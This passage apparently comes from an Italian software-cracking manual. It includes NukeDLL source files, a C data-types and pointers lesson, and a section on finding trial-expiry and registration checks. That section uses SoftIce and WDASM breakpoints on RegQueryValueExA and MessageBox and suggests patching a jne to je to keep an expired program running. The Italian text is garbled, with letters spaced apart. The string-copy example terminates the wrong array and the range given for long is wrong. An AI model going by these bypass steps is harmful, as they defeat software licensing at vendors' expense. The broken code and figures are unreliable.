if ( DllListNeedsRefresh == FALSE )
{
DllListNeedsRefresh = TRUE;
// Tell dialog to redraw the DLL list and then select
// the first DLL in the list
PostMessage(HWndDlg, WM_UPDATE_DLL_LIST, 0, 0);
PostMessage(HWndDlg, WM_COMMAND, IDL_DLLS,
MAKELPARAM(0, LBN_SELCHANGE));
}
}

return FALSE; // Tell TOOLHELP that we didn't handle the notification
}

// Handles all WM_COMMAND messages for the dialog
void Handle_WM_COMMAND(HWND hWndDlg, WPARAM wParam, LPARAM lParam)
{
if ( wParam == IDL_DLLS ) // Left listbox
{
if ( HIWORD(lParam) == LBN_SELCHANGE ) // User has selected
something
{
HMODULE hModule;

hModule = (HMODULE)GetSelectedItemData(hWndDlg, IDL_DLLS);
UpdateReferencingDllList(hWndDlg, hModule);
}
}
else if ( wParam == IDB_NUKE_DLLS ) // "Nuke Highlighted DLL" button
{
HMODULE hModule;
int cUsage;

// Get the HMODULE of the selected DLL out of the item data
hModule = (HMODULE)GetSelectedItemData(hWndDlg, IDL_DLLS);
if ( IsHModule(hModule) == FALSE )
return;

// Check to see if anybody is directly using the DLL. If so,
// prompt the user to make sure they want to procede
if ( HasReferencingDll(hModule) == TRUE )
{
if ( MessageBox(hWndDlg,
"The selected DLL has modules that reference it. Are
you "
"sure you want to do this?", "Hold on...",
MB_YESNO | MB_ICONHAND) != IDYES )
return;
}

// Get the reference count of the DLL and call
// FreeLibrary that many times
cUsage = GetModuleUsage(hModule);
while ( cUsage )
{
FreeLibrary( hModule );
cUsage--;
}

// We don't need to bother to update the DLL list here. The
// last FreeLibrary call above should have caused an
// NFY_DELMODULE notification for the DLL. There should be a
// WM_UPDATE_DLL_LIST message in our message queue, just
// waiting for the chance to redraw the DLL list.
}
else if ( wParam == IDB_EXIT ) // The "Exit" button
{
EndDialog(HWndDlg, 0);
}
}

// Handles the initial setup of the dialog
void Handle_WM_INITDIALOG(HWND hWndDlg, WPARAM wParam, LPARAM lParam)
{
HWndDlg = hWndDlg;

// Draw the DLL list in the left listbox
UpdateDllList(hWndDlg);

// Fake a user selection of the first DLL in the list
PostMessage(hWndDlg, WM_COMMAND, IDL_DLLS, MAKELPARAM(0, LBN_SELCHANGE));

// Set up our TOOLHELP notification callback
NotifyRegister(0, (LPFNNOTIFYCALLBACK) NotifyRegisterCallback, NF_NORMAL);
}

// Dialog procedure for the NukeDll dialog
BOOL CALLBACK _export NukeDllDlgProc(HWND hWndDlg, UINT msg,
WPARAM wParam, LPARAM lParam)
{
switch ( msg )
{
case WM_COMMAND:
Handle_WM_COMMAND(hWndDlg, wParam, lParam);
return TRUE;
case WM_INITDIALOG:
Handle_WM_INITDIALOG(hWndDlg, wParam, lParam);
return TRUE;
case WM_UPDATE_DLL_LIST:
UpdateDllList(hWndDlg);
DllListNeedsRefresh = FALSE;
break;
case WM_CLOSE:
EndDialog(hWndDlg, 0);
return FALSE;
}
return FALSE;
}

int PASCAL WinMain( HANDLE hInstance, HANDLE hPrevInstance,
LPSTR lpszCmdLine, int nCmdShow )
{
// Bring up the NukeDll dialog
DialogBox(hInstance, "NukeDllDlg", 0, (DLGPROC)NukeDllDlgProc);

// Shut down the TOOLHELP notifications set up in Handle_WM_INITDIALOG()
NotifyUnRegister(0);
return 0;
}

I l f i l e di def i ni zi one

Nukedll.def

NAME 'NUKEDLL'
DESCRIPTION 'Program to show DLL list and terminate rogue DLLs'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
STACKSIZE 5120
HEAPSIZE 1024
EXPORTS
NukeDllDlgProc @1

I l f l e d i ncl ude

Nukedll.h

#define IDB_EXIT 104
#define IDB_NUKE_DLLS 103
#define IDL_DLLS 101
#define IDL_USED_BY 102

nukedll.rc

#include <windows.h>
#include "nukedll.h"

NukeDllDlg DIALOG 82, 48, 160, 114
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX
CAPTION "NukeDLL - Matt Pietrek 1994"
BEGIN
CONTROL "", IDL_DLLS, "LISTBOX", LBS_NOTIFY | WS_CHILD | WS_VISIBLE |
WS_BORDER | WS_VSCROLL | WS_TABSTOP, 4, 14, 72, 80
CONTROL "", IDL_USED_BY, "LISTBOX", WS_CHILD | WS_VISIBLE | WS_BORDER |
WS_VSCROLL | WS_TABSTOP, 84, 14, 72, 80
PUSHBUTTON "Nuke Highlighted DLL", IDB_NUKE_DLLS, 4, 98, 84, 14, WS_CHILD
| WS_VISIBLE | WS_TABSTOP
PUSHBUTTON "Exit", IDB_EXIT, 108, 98, 24, 14, WS_CHILD | WS_VISIBLE |
WS_TABSTOP
LTEXT "DLLs:", -1, 4, 4, 33, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
LTEXT "Used By:", -1, 84, 4, 33, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
END

Ed i nf i ne i l . mak

Nukedll.mak

PROJNAME = NUKEDLL

$(PROJNAME).exe: $(PROJNAME).obj $(PROJNAME).res
link /ON:N /A:16 $(PROJNAME).obj, $(PROJNAME), , \
LIBW.LIB TOOLHELP.LIB SLIBCEW.LIB,$(PROJNAME).def
RC $(PROJNAME).res $(PROJNAME).exe

$(PROJNAME).obj: $(PROJNAME).c $(PROJNAME).h
CL /W3 /GAs /G2 /O1 /c /Zi $(PROJNAME).c

$(PROJNAME).res: $(PROJNAME).rc
RC -R -FO $(PROJNAME).res $(PROJNAME).rc


DATI E PUNTATORI IN C


Por t o da esempi o i dat i e i punt at or i i n C vi st o che quest o una vi a di mezzo
t r a assembl er ed al t r i l i nguaggi .
I nol t r e i l di scor so f at t o i n r el azi one al l a quant i t di sof t war e pr esent i
scr i t t i con quest o l i nguaggi o.
Gener al ment e i sof t war e pr of essi onal i sono scr i t t i quasi t ut t i i n C/ C++ e se
t r ovat e qual che pr ogr amma scr i t t o i n Vbasi c si cur ament e non f a par t e di qual che
gr osso pr oget t o.
I n Vbasi c ci t r over et e i l pr ogr ammi no che sost i t ui sce l a shel l Wi ndows per
per met t er e l a cancel l azi one e l a copi a di qual che f i l es ma di f f i ci l ment e ci
t r over et e i l pacchet t o di gr af i ca pr of essi onal e.
La t eor i a dei dat i i n C/ C++ sempl i ce i n quant o l uni co concet t o che bi sogna
t ener e a ment e l a di mensi one del val or e da memor i zzar ci dent r o.
Ment r e Vbasi c di f f er enzi a i l t i po st r i nga da quel l o numer i co i l C/ C++ non f a
nessuna consi der azi one i n mer i t o.
Se ci t r ovi amo davant i al pr obl ema di dover memor i zzar e un car at t er e, E ad
esempi o, possi amo usar e i l t i po CHAR, non per ch quest o l egat o ai t i pi
car at t er e, ma sol o per ch l a di mensi one di un CHAR i n C suf f i cent e a ment ener e
memor i zzat o un val or e compr eso t r a 0 e 255 per cui E , che i n ASCI I avr un
val or e compr eso i n quest o r ange, i doneo ad esser e mant enut o i n una var i abi l e
di t i po CHAR.
Una di f f er enzazi one pu esser e f at t a per quant o concer ne i l t i po si gned e quel l o
unsi gned.
Nor mal ment e un cer t o t i po di var i abi l e r i ser va un numer o X di byt es.
Quest i byt es possono esser e vi st i come sequenze di bi t s di cui n- 1 bi t s
r i ser vat i al val or e ment r e 1 bi t s, l ul t i mo, per i l segno.
Quest o si gni f i ca che se ci t r ovi amo di nanzi ad un t i po da un byt e 7 bi t s sar anno
per i l val or e ment r e l ul t i mo per i l segno.
Da ci f aci l e capi r e che oi val or i si gned memor i zzabi l i i n un t i po da 1 byt e
un val or e compr eso t r a +- 127 ovver o i l val or e numer i co r appr esent abi l e da 7
bi t s.
I t i pi del C sono :

a) char - Character.

I l val or e da - 128 a +127
Se si ut i l i zza l a speci f i ca unsi t gned pr i ma del l a def i ni zi one del t i po si f a i n
modo che anche i l bi t per l a r appr esent azi one del segno venga usat o per i l
val or e per cui i n un

unsigned char

I l seguent e pr ogr ammi no t est a se i l si st ema suppor t a i l t i po unsi gned.

#include <stdio.h>

main()
{
char a;
unsigned char b;
a = b = 128;
a >>= 1;
b >>= 1;
printf ( "\nYour computer has %ssigned char.\n\n", a == b ? "un" : "" );
}




b) int - Integers.

Lo st esso di scor so di pr i ma.
I l numer o di byt es var i a a aseconda del l a macchi na.
Una vol t a i l t i po i nt er a di 2 byt es su cer t e macchi ne ment r e su al t r e che
di st i nguevano i l t i po l ong i nt eger da quel l o shor t i nt eger l o t r at t avano a 4
byt es come i l t i po l ong.
I n ogni caso guar dat e l ambi ent e e i l si st ema.
Se i l t i po i nt a 2 byt es al l or a avr et e :

i nt - 2 byt es 15 bi t s per i l val or e e 1 per i l segno da - 32768 a +32767
unsi gned i nt 2 byt es 16 bi t s per i l val or e 65535

c) long Long

Qui i l val or e quel l o di 4 byt es ovvr er o 31 per i l val or e e 1 per i l segno o
t ut t i per i l val or e.
I l r ange - 4294967296 +4294967295.

d) float e double - The Real Numbers.


I val or i per quest i t i pi sono :

MAXFLOAT 3.40282346638528860e+38
MINFLOAT 1.40129846432481707e-45
MAXDOUBLE 1.79769313486231470e+308
MINDOUBLE 4.94065645841246544e-324

I n C avet e a di sposi zi one i l concet t o di ar r ay per cr ear e del l e l i st e di val or i
del l o st esso t i po.
Le st r i nghe vengono i nf at t i t r at t at e dal C come ar r ay anche se di f at t o i l
compi t o di gest i r e al cune cose compi t o degl i al gor i t mi .
Per f ar e un esempi o con i l basi c pot r ei aver e :

A$ = St r i nga;
B$ = A$;

La pr i ma var i abi l e, a segui t o del l assegnazi one, cont er r ebbe i l val or e St r i nga.
La seconda assegnazi one copi er ebbe St r i nga i n B$.
Di f at t o quel l a che pe noi una sol a azi one per i l si st ema un al gor i t mo.
I n pr at i ca ogni car at t er e di A$ ver r ebbe pr eso e se consi der at o val i do copi at o
i n B$.
I l cont r ol l o di val i di t , da copi ar e o no, pot r ebbe esser e f at t o medi ant e l a
l unghezza del l a st r i nga ( r i pet i per n vol t e con n = a l en( A$) ) , oppur e medi ant e
un car at t er e di cont r ol l o ( i l car at t er e x di A$ == al car at t er e di f i ne
st r i nga ? NO. Al l or a copi a) .
Quest o per di r e che i n C l e st r i nghe vengono t r at t at e sol o per i l f at t o ce
esi st ono al gor i t mi per l a l or o gest i one.
I n gener e i l car at t er e 0 ( non ASCI I ( 0) . . . pr opr i o NULL) usat o per t er mi nar e
l a st r i nga.
Esi st e una f ami gl i a di f unzi oni del C che ser vono a mani pol ar e l e st r i nghe.
Lasci amo per or a per der e i l C++ e i l suo oper at or over l oadi ng !
Quest e f unzi oni per met t ono l a copi a di due ar r ay, l accodament o e l a
compar azi one.
I n ogni caso essi st e sempr e una gr ossa component e al gor i t mi ca che si mi l e a
quel l a che t r over et e anal i zzando i sor gent i i n assembl er nel l e f asi di
compar azi one.
Pr endi amo l al gor i t mo di copi a da un ar r ay al l al t r o.
Usa i come indice e assegnalo a 0
Prendi il caratteri i dellarray b.
Segna posizione.
E 0 ovvero il carattere di fine stringa ?
Si. Aggiungi allarray a nella posizione i il carattere null e termina.
No. Aggiungi allarray a nella posizione i il carattere i dellarray b.
Incrementa i di 1 e riprendi dalla posizione segnata.

I n C :

char a[] = Stringa;
char b[10];
int index = 0;

while(a[index] != 0) {
b[index] = a[index];
++index;
}
a[index] = 0;

Bi sogna r i cor dar si sempr e che i n f ase di assegnazi one f at t a al l a di chi ar azi one
i l car at t er e 0 di f i ne st r i nga vi ene assegnat o aut omat i cament e se no compi t o
nost r o ad i nser i r l o.
Se ad esempi o nel l al gor i t mo pr ecedent e ci si f osse di ment i cat i di assegnar e
l aul t i mo 0 a a[ i ndex] avr emmo avut o pr obl emi ut i l i zzando nuovament e a ( pr ovat e
a pensar e se i n b[ ] non ci f osse st at o l o 0 . . . sar ebbe andat o avant i
al i nf i ni t o) .
Quest o t i po di al gor i t mi l i t r over et e spesso nei cont r ol l i f at t i dal l e r out i ne
i n assembl er .
La compar azi one di st r i nghe i nf at t i avvi ene f acendo quest o r agi onament o.

Pendi i l car at t er e i di a e conf r ont al o con i l car at t er e i di b.
Se f i ni t a l a st r i nga b r i t or na 0.
Se ugual e i ncr ement a l i ndi ce e r i comi nci a.
Se non ugual e r i t or na i l val or e del car at t er e i di a ( meno) i l car at t er e i
di b.

I l val or e r est i t ui t o sar :

0 se a == b
<0 se a < b
>0 se a > b

A quest o punt o possi amo aggi unger e un sempl i ci ssi mo concet t o.
Di cevamo che i l t i po di ce che di mensi one possi ede al massi mo i l val or e
memor i zzat o.
Le var i abi l i dove sono memor i zzat e ?
I n memor i a.
Se qui ndi di ci amo char a di ci amo che a una var i abi l e di 1 byt e i n memor i a.
Ma se i n memor i a e l a memor i a una sequenza di byt es numer at i da 0 al l a
di mensi one massi ma del si st ema pot r emo anche di r e che a posi zi onat o ad un
cer t o i ndi r i zzo.
L oper at or e unar i o & r est i t ui sce l i ndi r i zzo di una var i abi l e.
At t enzi one che gl i ar r ay sono gi t r at t at i come ar r ay.
Se abbi amo

char a[20];

pot r emmo r i f er i r ci al l i ndi r i zzo del pr i mo el ement o di a con :

&a[0];

Essendo un ar r ay di r e a senza nul l al t r o come di r e &a[ 0] ;
A quest o punt o subent r a l ar i t met i ca degl i i ndi r i zzi .
Ho omesso i l concet t o di st r ut t ur a r el at i va ai dat i i n quant o pr ef er i sco veder l a
con gl i i ndi r i zzi pi avant i .
L oper at or e &, di cevamo r est i t ui sce l i ndi r i zzo di un ogget t o, ment r e
l oper at or e * posi zi onat o di nanzi ad un i ndi r i zzo ci f a r i f er i r e al cont enut o di
quel l i ndi r i zzo.
Se avessi mo :

int a = 20;

Si gni f i ca che a una var i abi l e i nt er a ( 2 byt es) che cont i ene i l val or e 20.
Quest o val or e 20 si t r over a qual che i ndi r i zzo di memor i a per cui se di cessi :

&a

sar ebbe come di r e l i ndi r i zzo di a che i n quest o caso sar ebbe l i ndi r i zzo dove
si t r ova i l val or e 20.
Se &a l i ndi r i zzo di a:

*(&a)

sar ebbe come di r e i l val or e punt at o dal l i ndi r i zzo di a per cui i l comando :

stampa *(&a)

st amper ebbe 20.
Gl i i ndi r i zzi sono numer i per cui i punt at or i possono esser e sogget t i ad un
ar i t met i ca.
Avendo :

char a[20];

di r e a sar ebbe come di r e &a[ 0] per cui a sar ebbe un val or e numer i co.

a+1

l i ndi r i zzo r appr esent at o da a + 1 * di mensi one_t i po.
Fat e at t enzi one a quel di mensi one t i po.
Gl i i ncr ement i , decr ement i ecc. sono sempr e r el at i vi , i n numer o di byt es, al
numer o r i chi est o * l a di mensi one del t i po del punt at or e.
I n byt es di r e :

int a;

int bytes = &a + 1;

sar ebbe come di r e &a + ( 1 * di mensi one di i nt )
Per cui se &a 1000 i n byt es t r over emo 1002 ovver o 1000 + ( 1 * 2) .
Usando gl i ar r ay possi amo r i f er i r ci ad un el ement o con :

a[100]

ovver o i l 100 el ement o di a oppur e :

&a[0] + (100 * 2)

Avr et e vi st o i n al cuni esempi por t at i i n al t r i capi t ol i l a pot enza
del l ar i t met i ca dei punt at or i .


PREFAZIONE AI TIPI DI RICERCHE




Come di cevamo pr i ma, spesso l a chi ave per r i usci r e ad i ndi vi duar e i punt i gi ust i
i n cui vengono esegui t i gl i i nput dei codi ci di r egi st r azi one st a nel f at t o di
capi r e qual i f unzi oni del l e API o qual i meccani smi vengono usat i per esegui r e l e
l et t ur e.
Par t i amo dal pr esuppost o che i t empi i n cui l e pr ot ezi oni er ano f at t e con i l
met odo Chi edi l a passwor d, conf r ont al a con xxx, avver t i ok o non ok f i ni t o.
Le mascher e del seguent e t i po
sono comuni e non sono quasi mai
par t i or i gi nal i del sof t war e ma
pr ogr ammi pr of essi onal i dest i nat i
al l a gest i one dei di most r at i vi .
Le t ecni che adot t at e sono mol t o
compl esse e spesso ut i l i zzano
al gor i t mi par t i col ar i .
Qui a f i anco abbi amo i l mar chi o
del met odo di cr i t t ogr af i a
ut i l i zzat o dal sof t war e per l a
gest i one dei di most r at i vi adot t at o
da sof t war e house come ad esempi o
Macr omedi a, Symant ec ecc.
I l pr ogr amma vi st o nel l a panor ami ca f at t a
nel l apposi t o capi t ol o denomi nat o Pr ocDump ser ve a
cr ear e dei DUMP decodi f i cat i di cer t i t i pi di
si st emi .
Quest i sof t war e di spongono di cer t i cost i che spesso
sono l egat i al l a si ngol a copi a per cui mol t i
pr ogr ammi possi edono del l e pr ot ezi oni pi caser ecce
( e meno compl esse) .
I n ogni caso i t empi del Get Dl gI t emText sempr e pi
di st ant e per cui i mpor t ant i ssi mo i ndi vi duar e i l met odo da segui r e
i ni zi al ment e, di pendent e da al cune cose.
Spesso capi t a anche che pr i ma che venga ef f et t i vament e at t i vat o un pr ogr amma ci
compai a una MessageBox con l avver t i ment o di quant i gi or ni ci r i mangono a
di sposi zi one o addi r i t t ur a un messaggi o i n cui veni amo avvi sat i che i l t empo a
nost r a di sposi zi one scadut o.
Come di cevo pr i ma quest o pu avveni r e per f unzi oni i ncl use nel l a l ogi ca del
pr ogr amma, ovver o i nser i t e di r et t ament e dal pr ogr ammat or e or i gi nal e, o t r ami t e
pr ogr ammi di pr ot ezi one che possono i nt er veni r e anche su pr ogr ammi esegui bi l i
gi compi l at i .
Quest i ul t i mi sono sempr e modul i pr of essi onal i dove l e r out i nes di r i chi est a del
codi ce ser i al e avvi ene t r ami t e compl i cat i al gor i t mi che possono esser e anche
col l egat i a si st emi di r egi st r azi one su r et e I nt er net .
I n quest i casi l e t est at e dei pr ogr ammi sono cr i t t ogr af at e e i l t r aci ng dei
pr ogr ammi abbast anza compl esso.
Mol t e ut i l i t i es vi st e pr i ma ser vono ad esegui r e i l dump di t al i pr ogr ammi qual i
ad esempi o quel l i che usano VBOX.
Abbi amo appena r i cor dat o PROCDUMP.
Nor t on e Macr omedi a ut i l i zzano spesso quest i modul i anche se nel l e ul t i me
ver si oni l e DLL sono st at e modi f i cat e per by- passar e l e or mai i nnumer evol i
r out i nes gener at r i ci di codi ce pr esent i su I nt er net .
Ad esempi o l e f unzi oni di pr ot ezi one dei sof t war e pr esent i con pr odot t i
Macr omedi a er ano r esi dent i dent r o al l a DLL r sagnt 32. dl l ( pr ende i l nome dal
met odo di cr i t t ogr af i a RSA) .
Le ul t i me ver si oni di spongono del l e seguent i di mensi oni .


Nel l e ver si oni pr ecedent i


Tut t i i sof t war e pr esent i i n I nt er net per Macr omedi a con l ul t i ma ver si one ( l a
pr i ma most r at a) non f unzi onano pi u .
Comunque per f ar l a br eve vi sar capi t at o di chi eder vi dove vengono l et t i i var i
12 gi or ni , 30 gi or ni ecc. , ovver o i t empi r el at i vi al l uso di un pr ogr amma
t i mel ock.
Quasi sempr e avvengono del l e l et t ur e dent r o al r egi st r o al l a r i cer ca di chi avi
non sempr e cos chi ar e come si vor r ebbe.
Leggevo una speci e di scr i t t o su I nt er net che si def i ni va come I l manual e
hacker i n cui c er a un capi t ol o con del l e domande e r i spost e i n cui ne
compar i va una :
Quando un pr ogr amma t i avvi sa che i l
t empo scadut o ed esce senza dar t i l a
possi bi l i t di gi unger e al l a f i nest r a
di r egi st r azi one come si deve f ar e ?
La r i spost a :
Cer cat e nel f i l e del r egi st r o l e voci
sot t o CURRENT_USER/ Sof t war e r el at i ve
al pr ogr amma i n quest i one e
cancel l at el e.
Avr ebbe pot ut o anche scr i ver e :
Sper at e che ci si a un pul sant e per
r eset t ar e i gi or ni e pr emet el o.
Chi scr i ve l e r out i ne l egat e al l a
pr ot ezi one a t empo non i nser i sce nel
r egi st r o voci cosi f aci l ment e
r i nt r acci abi l i ed i n par t i col ar e modo
sot t o l e voci speci f i che del pr ogr amma
i n quest i one.
Sof t I ce e Wdasmpossono ser vi r e anche i n quest o caso.
At t i vat el i e cer cat e d i nser i r e dei br eakpoi nt nei punt i i n cui vengono esegui t e
del l e chi amat e a RegQuer yVal ue ecc.
I nser i t e anche qual che br eakpoi nt andando a cl i ckar e sul l a f unzi one MessageBox.
Guar dat e l esempi o del pr ogr amma seguent e i l qual e scadut o.
Per l esempi o usat o WDASM.
Dopo aver l o car i cat o r i chi edi amo di aver vi sual i zzat e l e f unzi oni i mpor t at e.
Subi t o nel l e pr i me r i ghe r i sul t ano l e f unzi oni l egat e al l a gest i one del
r egi st r o.
Facci amo cl i ck su quel l e l egat e al l i nt er r ogazi one e set t i amo dei br eakpoi nt
senza cer car e i ni zi al ment e di capi r e se si t r at t a dei punt i che ci i nt er essano a
noi .
At t i vi amo i l pr ogr amma con F9 ed at t endi amo per veder e se si f er ma da qual che
par t e.
Appena i l t ut t o si i nt er r omper ver r vi sual i zzat a l a f i nest r a i n cui compai ono
anche i par amet r i passat i al l a f unzi one.
I n quest a f i nest r a esi st e un t ast o GET API RESULT che esegue l a chi amat a e
r i t or na i val or i di r i t or no dal l a f unzi one.
I seguent i dat i sono quel l i cat t ur at i dal l a f i nest r a ( non r i por t o t ut t a l a
f i nest r a a causa del l e di mensi oni ) .

API LONG Ar g00 = RegQuer yVal ueExA( Ar g01, Ar g02, Ar g03, Ar g04, Ar g05, Ar g06)
API Addr ess=00405998, API Ret ur n Addr ess=00446B69
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d80 - > " Reg"
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c4c - > 00000000
Ar g05 = ( LPBYTE) 0069f c64 - > " `| "
Ar g06 = ( LPDWORD) 0069f c60 - > 00000004

RESULT f or API RegQuer yVal ueExA
Ar g00 = ( LONG) 00000002
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d80 - > " Reg"
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c4c - > 00000000
Ar g05 = ( LPBYTE) 0069f c64 - > " `| "
Ar g06 = ( LPDWORD) 0069f c60 - > 00000004

Come vedet e uno degl i ar goment i Reg.
Pr osegui amo con l esecuzi one e cont r ol l i amo sempr e che nel l e vi ci nanze del
codi ce i n quest i one non venga i ndi cat a qual che chi amat a a f unzi oni t i po
MessageBox ut i l i zzat e per vi sual i zzar e i l messaggi o di Tempo Scadut o.

API LONG Ar g00 = RegQuer yVal ueExA( Ar g01, Ar g02, Ar g03, Ar g04, Ar g05, Ar g06)
API Addr ess=00405998, API Ret ur n Addr ess=00446B69
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d64 - > " St ar t "
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c3c - > 00000000
Ar g05 = ( LPBYTE) 0069f c54 - > " i "
Ar g06 = ( LPDWORD) 0069f c50 - > 00000008

RESULT f or API RegQuer yVal ueExA
Ar g00 = ( LONG) 00000000
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d64 - > " St ar t "
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c3c - > 00000003
Ar g05 = ( LPBYTE) 0069f c54 - > " "
Ar g06 = ( LPDWORD) 0069f c50 - > 00000008

Poche l i nee di pr ogr amma dopo, a segui t o di cont r ol l i sui val or i r est i t ui t i da
quest ul t i ma chi amat a, vi ene r i chi amat a l a f unzi one MessageBox con i l t est o
r el at i vo al l avvi so di t empo scadut o.

API i nt Ar g00 = MessageBoxA( Ar g01, Ar g02, Ar g03, Ar g04)
API Addr ess=004060B8, API Ret ur n Addr ess=00447AC8
Ar g01 = ( HWND) 00000d1c ( Wi ndow" - - - - - - - - - - - - - - - - " )
Ar g02 = ( LPCTSTR) 00447d98 - > " Your t r i al per i od f or - - - - - - - - - - - - - - - has
expi r ed and t he pr ogr amwi l l no l onger f unct i "
Ar g03 = ( LPCTSTR) 00447d84 - > " Expi r at i on Not i ce"
Ar g04 = ( UI NT) 00000030

I var i - - - - - - - - - - - - - - - - - - sono i l nome del pr ogr amma che ho usat o come esempi o
che ho cancel l at o.
Anal i zzando i l codi ce pr i ma del l a chi amat a a MessageBox sar f aci l e t r ovar e
qual che j ne o j e che i ndi r i zzer o f ar evi t ar e quest o punt o.
I n quest o caso possi amo segui r e due vi e.
La pr i ma, l a pi compl essa, ci por t er ad anal i zzar e bene i l codi ce per capi r e
qual i val or i i ndi cano l avvenut a r egi st r azi one.
I n quest o caso dovr emo adot t ar e
t ecni che di r ever se engi neer i ng per
r i usci r e a r i cost r ui r e i l t ut t o i n
modo cor et t o.
Pot r emmo anche capi r e qual e codi ce
i ndi ca l a r egi st r azi one ed andar l o
ad i nser i r e nel r egi st r o senza
modi f i car e i l codi ce del pr ogr amma.
L al t r o met odo sar quel l o pi
sempl i ce di modi f i car e i l j ne i n j e
o vi cever sa i n modo che i l pr ogr amma
non si i nt er r ompa e ci per met t a
al meno di ar r i var e al l a di al og
d i nser i ment o del codi ce.
Se i l pr ogr amma non possi ede
l i mi t azi oni nel l a ver si one demo
pot r emmo al l i mi t e non r egi st r ar l o.
I n al t r e par ol e i l pr ogr amma si
accor ger di esser e scadut o ma non
si i nt er r omper .
I l pr ogr amma usat o come esempi o non
possi ede chi amat e a Get Dl gI t emText
ecc. per esegui r e l a l et t ur a del codi ce di r egi st r azi one.
I n ogni caso sbagl i ando ad i nser i r l o esegue una chi amat a a MessageBox per
esegui r e l a segnal azi one di codi ce er r at o.
Eseguendo l i nt er cet t azi one e r i t or nando i ndi et r o nel codi ce dove avvenut a l a
chi amat a si gi unge ad un punt o di par t enza dove vi ene esegui t a l a pr epar azi one
del messaggi o d er r or e.
Una scr i t t a segnal a che l a chi amat a a quel punt o avvi ene al l i ndi r i zzo 00446F72.
Si cur ament e i l cont r ol l o del codi ce i nser i t o avver r da quel l e par t i per cui
sar i l caso di andar e a veder e al l i ndi r i zzo speci f i cat o.
Ut i l i zzando Sof t I ce avet e l a possi bi l i t di gest i r e i l backt r ace buf f er per cui
ar r i vat i ad un cer t o punt o pot r est e esegui r e l o st ep by st ep a r i t r oso.
Ment r e con WDASM dovet e posi zi onasi su ogni MessageBox con Sof t I ce pot et e
i nser i r e un br eakpoi nt uni co r el at i vo a t ut t i i MessageBox.

BPX MessageBox

I n al cuni casi l e t ecni che l egat e al l e r out i nes di r egi st r azi one sono ancor a pi
nascost e per cui bi sogna sper ar e di pot er si af f i dar e ad al t r i met odi per
i ndi vi duar l e.
Tr at t andosi di pr ogr ammi Wi ndows esi st e t r a l e r i sor se l a t abel l a del l e
st r i nghe.
WDASM ad esempi o possi ede un pul sant e r el at i vo ad una f unzi one che most r a l e
st r i nghe esi st ent i come r i sor se.
I n quest o caso esi st ono due possi bi l i t .
La pr i ma quel l a di cer car e l e st r i nghe come ad esempi o Gr azi e per l a
r egi st r azi one, Codi ce er r at o ecc.
Guar dat e l a seguent e l i st a.

" t $A"
" TAppl i cat i on"
" Text Hei ght "
" Thank You f or r egi st er i ng! "
" Thi s i s a r ead- onl y pr oper t y, "
" Thi s pr ogr ami s l i censed t o: "
" Thi s pr ogr ami s unr egi st er ed. "
" TMMConnect or Wi ndow"

Come pot et e veder e una st r i nga r el at i va al r i ngr azi ament o per l a
r egi st r azi one.
Eseguendo i l cl i ck su quest o WDASM ci posi zi ona sul codi ce che l a ut i l i zza.
La l et t ur a di t al i si r i nghe avvi ene t r ami t e l a f unzi one API LoadSt r i ng per cui
sempr e possi bi l e i nser i r e br eakpoi nt l egat e a quest a f unzi one.

user 32. LoadSt r i ngA
user 32. LoadSt r i ngA
user 32. MapVi r t ual KeyA
user 32. MapWi ndowPoi nt s

Di cevo pr i ma che spesso l e f unzi oni di pr ot ezi one der i vano da modul i commer ci al i
est er ni che vengono agganci at i ai f i l e esegui bi l i .
I n quest o caso si cur ament e esi st ono f unzi oni l egat e al l a gest i one del l a
pr ot ezi one i nser i t e i n DLL est er ne.
WDASM pr evede un f l ag che bl occa i l pr ogr amma t ut t e l e vol t e che vi ene l et t a una
DLL.
I n ogni caso l a pr i ma cosa da f ar e quel l a di anal i zzar e l e f unzi oni i mpor t at e.
Gener al ment e a f i anco al nome del l a f unzi one c quel l a del l a DLL de4nt r o al l a
qual e quest a si t uat a.

ol eaut 32. Var i ant Cl ear
ol eaut 32. Var i ant CopyI nd
SHRLK21. CheckPr ot ect i onDLL
SHRLK21. DoRegi st r at i on
SHRLK21. Get St at us
SHRLK21. PassHandl e
user 32. Act i vat eKeyboar dLayout
user 32. Adj ust Wi ndowRect Ex

Nel pr ecedent e esempi o sono da not ar e l e f unzi oni DoRegi st r at i on dent r o al l a DLL
SHRLK21.
Chi ar ament e quest e f unzi oni sar anno ogget t i di cont r ol l o.
I n quest o caso l a cosa al t a subi t o al l occhi o ma non sempr e cosi sempl i ce.
Al cune vol t e t r ovat e nel l a di r ect or y \ wi ndows\ syst emal cune DLL di pi ccol e
di mensi oni che sono appunt o col l age al l e r out i nes di pr ot ezi one.
Ad esempi o :

C: \ Wi ndows\ SYSTEM\ VBOXB40. DLL
C: \ Wi ndows\ SYSTEM\ VBOXB403. DLL
C: \ Wi ndows\ SYSTEM\ VBOXB410. DLL
C: \ Wi ndows\ SYSTEM\ vboxp40. dl l
C: \ Wi ndows\ SYSTEM\ vboxp403. dl l
C: \ Wi ndows\ SYSTEM\ vboxp410. dl l
C: \ Wi ndows\ SYSTEM\ VBOXT40. DLL
C: \ Wi ndows\ SYSTEM\ VBOXT403. DLL
C: \ Wi ndows\ SYSTEM\ VBOXT410. DLL

Pr ecedent ement e, par l ando dei pr ogr ammi che ci per met t ono di i ndi vi duar e al cune
cose l egat i ai pr ogr ammi t ar get , avevamo det t o che una cosa f ondament al e
quel l a di i ndi vi duar e i l l i nguaggi o ut i l i zzat o.
Se ad esempi o guar dando con Qui ckVi ew ci accor gi amo che i l pr ogr amma ut i l i zza
